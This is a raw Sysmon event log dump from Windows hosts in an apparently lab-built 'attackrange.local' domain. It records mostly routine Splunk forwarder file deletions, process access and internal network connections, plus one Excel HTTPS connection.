Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=156D66E60D050C237F87B9AB31D28246,SHA256=13FCDD2011312E665FFE7D5CEDEE28EC61B0EC8BB6D991FFA10B0B53CDCC4231,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018589Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.522{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AEB8AF800D9D62D2958B0F12D1B78B8C,SHA256=97936D0C702C71CB12B669564222786F84934728EA59C7131D42B0BD28693469,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000018588Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-756C-613B-5105-00000000F101}3532C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018587Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018586Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018585Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018584Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018583Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018582Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018581Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018580Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018579Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018578Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-756C-613B-5105-00000000F101}3532C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018577Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.272{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-756C-613B-5105-00000000F101}3532C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018576Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.273{625C326B-756C-613B-5105-00000000F101}3532C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018575Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.178{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7C17D1E6D4003A61942AC383DF74983D,SHA256=98714477C2FA8A952C2AD90E1B03787AEDF22B112CF41001973F978F4D59AF39,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018592Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:37.710{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9598520A2BCE38BEFF17C9988947E9B,SHA256=3BCFCCEF910524B720FD2B55BD992EC89163A01C4175B474F42F61F3EB538E8B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:37.758{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4A34A12F9FB0DE13F669947AAE043CEE,SHA256=4FDB0E4382D0D09E3F0D376DD198C3E9A49FE3AD64E63FE9FBCCD0A536960B11,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018591Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:37.319{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DB408FA75C6D091F063EFF19C2A26CCB,SHA256=C7075F5C7047609C7AFE80999034C24A76E8A792751936B25FA7A5B8BE30CD60,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018590Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:36.403{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50434-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018593Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:38.710{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E8BE9B044E69CC9433377E6963628474,SHA256=53FF7CCBC903BDE476A8B5C4779DC039D05E6E2ED3BA993F5FE6B9B1238504A2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:38.789{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=305269C78C9E2F04B28A0F6BE8506B9D,SHA256=C11C55D5A87AED8282D2EE3E13E3B33BCAF657F3A8A239A00C749665B000F3A6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018594Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:39.756{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5FE0D42BAF5F44C1B9B3E358AA9CEA51,SHA256=1A4395A3E458A1E2A66CD17AA3A4E49CE4A928D9BC83FBDF7B5241B95E140DDB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:39.898{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=861C9F35CE5185D6F2AAA586812AD7AB,SHA256=D63A895FF624AAA8D15267AA3795E0658776B42F431E0F13A748040B08CDF4B8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:36.529{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63215-false10.0.1.12-8000- 23542300x800000000000000018595Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:40.803{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00E50BDF65EDA38C170D473AAA333481,SHA256=21FABB786990F91BC539A67F4FC9B4BD325045DDEE3BDF085A2BD499DED88E12,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018596Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:41.803{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3ABB026945DAA0FFC8CC2EFB11D5C050,SHA256=943BE664FCCADB45ED14855925BEE0F82F7932FC718D9BEB5D9DECAA41DDED13,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:41.070{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=82A9FEC5F1DB3763ACD550CB573EA5A7,SHA256=2D13B740B30AF8E162C8FF3BB515838E51A32567BC0AD9A3BA2AF75382784811,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018597Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:42.835{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2EDBB3A76A414B1743CFB797AE29AD07,SHA256=CE0DF58307D5CE4D94F7AC0C9A7ECDAF6697636CBF37E7028379143406190E5F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:42.164{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3645EB1384EE900499486AD2A8F536CE,SHA256=4F658F43A4AB26E3D530A8B03023BA7371C568E90C2A2CE45B6A7DD82FD65232,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018599Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:43.850{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E1E03E7C54E3C32B7C0CE4CC5FE355D,SHA256=887B01DD54EC34675175093BC4EF793A88F28FA5E7F0B68BDCA80A3B3BAEA000,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:43.180{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E029354C57039E8BBFBA468EB70B585B,SHA256=509165E4253C00ADC87757FB2D2012A5DF9C791D90C5000B9F6579C305BB73D6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018598Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:42.419{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50435-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000018600Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:44.850{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2069A74AB763D26D07B012923D2B693B,SHA256=30A5122C50C5125F091B3674F3EFE038E7976F9EF1B410E69F9AA889AA1E03E3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:44.211{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5CBE5DFD1F3C86C1D99999A5C4855B1A,SHA256=5A12D448B060993A4F0E72EA03E448727F81964DDF2E630B88ABF2AC127A7065,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:40.581{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63216-false104.46.162.226-443https 23542300x800000000000000018601Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:45.866{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=08AE47645FBAB7E687418D62D0B5A835,SHA256=F9F690E9852A90601F38FE7484F5337EE9A92DB1B775467C44E475F630B742AC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:45.226{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=15B6617C1917D9226DE53647F727EC15,SHA256=D1191BF4936D43D4C47FA63FA06C1E771F0E2210D9DB1C3B39C72964D86969B1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:42.529{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63217-false10.0.1.12-8000- 23542300x800000000000000018602Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:46.882{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A30715B0475FE5A81E6D7A761B3FEF2,SHA256=259A6A0669BC634AD10131B4A61CFF6341724D3CA9A83B55F2DE70B7E2274FA5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:46.461{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 